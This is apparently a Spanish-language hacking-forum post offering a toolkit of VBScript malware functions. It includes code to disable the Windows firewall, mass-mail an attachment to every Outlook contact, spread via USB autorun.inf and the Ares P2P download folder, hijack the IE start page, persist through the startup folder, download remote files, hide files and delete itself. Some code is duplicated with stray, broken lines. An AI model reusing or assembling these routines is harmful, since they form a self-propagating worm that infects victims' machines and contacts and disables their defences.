HOLA!!!
Aqui una pequeña suite de funciones que arme:
Varias:
Sub DisableFirewall()
if Val(Mid$(GetOsVersion,1,1)) > 5 Then Exit Sub
Set Firewall = CreateObject("HNetCfg.FwMgr")
Set Politica = Firewall.LocalPolicy.CurrentProfile
Politica.FirewallEnabled = FALSE
Set Firewall = Nothing: Set Politica = Nothing
End Sub
Sub AddFirewallAuth(AppName,Spath,SFile)
if Val(Mid$(GetOsVersion,1,1)) > 5 Then Exit Sub
Set objFirewall = CreateObject("HNetCfg.FwMgr")
Set objPolicy = objFirewall.LocalPolicy.CurrentProfile
Set objApplication = CreateObject("HNetCfg.FwAuthorizedApplication")
objApplication.Name = "ElHacker.net - Aplicación"
objApplication.IPVersion = 2
objApplication.ProcessImageFileName = "C:\Windows\System32\calc.exe"
objApplication.RemoteAddresses = "*"
objApplication.Scope = 0
objApplication.Enabled = True
Set colApplications = objPolicy.AuthorizedApplications
colApplications.Add(objApplication)
Set objFirewall = Nothing: Set objPolicy = Nothing: Set objApplication = Nothing: Set colApplications = Nothing
End Sub
Sub ChangeIETitle(NewTitle)
On Error Resume Next
Set WSHShell = WScript.CreateObject("WScript.Shell")
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title", NewTitle
WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Internet Explorer\Main\Window Title", NewTitle
End Sub
Function GetLastTweet(Twitter)
Aux = GetHTMLSource("http://twitter.com/users/show.xml?screen_name=" & Twitter)
GetLastTweet = Mid$(Aux,6+instr(Aux,"<text>"),instr(Aux,"</text>")-6-instr(Aux,"<text>"))
End Function
Sub SpreadOutLook(Message,Subject,SPath, SFile)
Set Contacts = WScript.CreateObject("Outlook.Application").GetNamespace("MAPI").GetDefaultFolder(10)
Cant = Contacts.Items.Count
For X = 1 to Cant
If Contacts.Items.Item(x).Email1Address <> "" Then
Set Email = CreateObject("Outlook.Application").CreateItem(0)
Email.To = Contacts.Items.Item(x).Email1Address
Email.Subject = Replace(Subject,"%nombre%",Contacts.Items.Item(x).FullName)
Email.ReadReceiptRequested = False
Email.HTMLBody = Replace(Message,"%nombre%",Contacts.Items.Item(x).FullName)
Email.Attachments.Add ConvertPath(SPath, SFile)
Email.Send
End If
next
End Sub
Function GetHTMLSource(URL)
On Error Resume Next
Set http = CreateObject("Microsoft.XmlHttp")
http.open "GET", URL, False
http.send ""
GetHTMLSource = http.responseText
Set http = Nothing
End Function
Sub USBSpread()
On Error Resume Next
Set fso = CreateObject("scripting.filesystemobject")
For Each Drive in fso.Drives
If Drive.Isready then
If asc(Drive.driveletter) > 68 then
If not (fso.FileExist(Drive & "\" & MyName)) then
fso.CopyFile MyFullPath,Drive & "\" & MyName,True
HideFile Drive,MyName
End If
If not (fso.FileExist(Drive & "\autorun.inf")) then
Set objTXT = fso.CreateTextFile(Drive & "\autorun.inf",True)
objTXT.WriteLine("[autorun]")
objTXT.WriteLine("shellexecute = " & MyName)
objTXT.WriteLine("action = " & MyName)
objTXT.Close
HideFile Drive,autorun.inf
Set objTXT = Nothing
End If
End If
Next
Set fso = Nothing
End Sub
Sub AresSpread(Spath, SFile, SpreadFilenames())
Set fso = CreateObject("scripting.filesystemobject")
If KeyExists("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder") Then
RutaCom = HEX2ASCII(CreateObject("wscript.shell").RegRead("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder"))
For x = 0 to Ubound(SpreadFilenames)
fso.CopyFile ConvertPath(Spath, SFile),RutaCom & "\" & SpreadFilenames(x),True
Next
End If
Set fso = Nothing
End Sub
Set fso = Nothing
End Sub
Function KeyExists(key)
On Error Resume Next
CreateObject("WScript.Shell").RegRead(key)
If Err = 0 Then KeyExists = True
End Function
Function GetOsVersionCaption()
For Each os in GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2").ExecQuery("Select Caption from Win32_OperatingSystem")
GetOsVersionCaption = os.Caption
Next
End Function
Function GetOsVersion()
For Each os in GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2").ExecQuery("Select Version from Win32_OperatingSystem")
GetOsVersion = os.Version
Next
End Function
Function GetComputerName()
GetComputerName = CreateObject("WScript.NetWork").ComputerName
End Function
Function GetUserName()
GetUserName = CreateObject("WScript.NetWork").UserName
End Function
Sub KillProc(ProcName)
strComputer = "."
Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
For x = 0 To UBound(KillProcess)
Set colProcessList = objWMIService.ExecQuery ("Select * from Win32_Process Where Name = '" & ProcName & "'")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
Next
Set objWMIService = Nothing: Set ColProcessList = Nothing
End Sub
Sub SetStartIE(StartPage)
Set WSHShell = WScript.CreateObject("WScript.Shell")
WSHShell.RegWrite "HKLM\Software\Microsoft\Internet Explorer\Main\Start Page", StartPage
WSHShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", StartPage
Set WSHShell = Nothing
End Sub
Sub Restart()
strComputer = "."
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")
Set colOperatingSystems = objWMIService.ExecQuery ("Select * from Win32_OperatingSystem")
For Each objOperatingSystem in colOperatingSystems
objOperatingSystem.Reboot()
Next
Set objWMIService = Nothing: Set colOperatingSystems = Nothing
End Sub
Sub Shutdown()
strComputer = "."
Set objWMIService = GetObject ("winmgmts:{impersonationLevel=impersonate,(Shutdown)}\\" & strComputer & "\root\cimv2")
Set colOperatingSystems = objWMIService.ExecQuery ("Select * from Win32_OperatingSystem")
For Each objOperatingSystem in colOperatingSystems
objOperatingSystem.Win32Shutdown(1)
Next
Set objWMIService = Nothing: Set colOperatingSystems = Nothing
End Sub
Function Base64Decode(ByVal base64String)
Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Dim dataLength, sOut, groupBegin
base64String = Replace(base64String, vbCrLf, "")
base64String = Replace(base64String, vbTab, "")
base64String = Replace(base64String, " ", "")
dataLength = Len(base64String)
For groupBegin = 1 To dataLength Step 4
Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
numDataBytes = 3
nGroup = 0
For CharCounter = 0 To 3
thisChar = Mid(base64String, groupBegin + CharCounter, 1)
If thisChar = "=" Then
numDataBytes = numDataBytes - 1
thisData = 0
Else
thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
End If
If thisData = -1 Then
Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
Exit Function
End If
nGroup = 64 * nGroup + thisData
Next
nGroup = Hex(nGroup)
nGroup = String(6 - Len(nGroup), "0") & nGroup
pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + Chr(CByte("&H" & Mid(nGroup, 5, 2)))
sOut = sOut & Left(pOut, numDataBytes)
Next
Base64Decode = sOut
End Function
Depende de HexToAscii:
Function HEX2ASCII(hextext)
For y = 0 To (Len(hextext)/2) - 1
HEX2ASCII = HEX2ASCII & Chr(Val("&h" & Mid(hextext, (y*2)+1, 2)))
Next
End Function
Sub AresSpread(Spath, SFile, SpreadFilenames())
Set fso = CreateObject("scripting.filesystemobject")
If KeyExists("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder") Then
RutaCom = HEX2ASCII(CreateObject("wscript.shell").RegRead("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder"))
For x = 0 to Ubound(SpreadFilenames)
fso.CopyFile ConvertPath(Spath, SFile),RutaCom & "\" & SpreadFilenames(x),True
Next
End If
Set fso = Nothing
End Sub
Set fso = Nothing
End Sub
Dependen de convertpath:
Function ConvertPath(Spath, SFile)
If Ucase(SPath) = "MYPATH" then ConvertPath = MyPath: Exit Function
If Ucase(SPath) = "FULLPATHONFILENAME" THEN ConvertPath = SFile: Exit Function
If Ucase(SPath) = "STARTUP" then Spath = CreateObject("WScript.Shell").SpecialFolders("StartMenu")
ConvertPath = Spath & "\" & SFile
End Function
Sub CopyToStartUP(Spath, SFile)
CreateObject("scripting.filesystemobject") .CopyFile ConvertPath(Spath, SFile),CreateObject("WScript.Shell").SpecialFolders("StartMenu") & "\" & Sfile,True
End Sub
Sub DeleteFile(Spath, SFile)
CreateObject("Scripting.FileSystemObject").DeleteFile ConvertPath(Spath, SFile)
End Sub
Sub Download(UrlDownload, SPath, SFile)
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", UrlDownload, False
xHttp.Send
bStrm.type = 1
bStrm.Open
bStrm.Write xHttp.responseBody
bStrm.SaveToFile ConvertPath(Spath, SFile), 2 'bStrm.SaveToFile
Do while not CreateObject("scripting.filesystemobject").FileExists(ConvertPath(Spath, SFile)) : WScript.Sleep 500 : Loop
End Sub
Sub FileCopy(Spath, SFile, Spath2, SFile2)
CreateObject("scripting.filesystemobject").CopyFile ConvertPath(Spath, SFile),ConvertPath(Spath2, SFile2),True
End Sub
Sub HideFile(Spath, SFile)
CreateObject("scripting.filesystemobject").GetFile(ConvertPath(Spath, SFile)).Attributes = -2
End Sub
Sub Melt()
DeleteFile "FULLPATHONFILENAME", WScript.ScriptFullName
End Sub
GRACIAS POR LEER!!!
Muy interesante.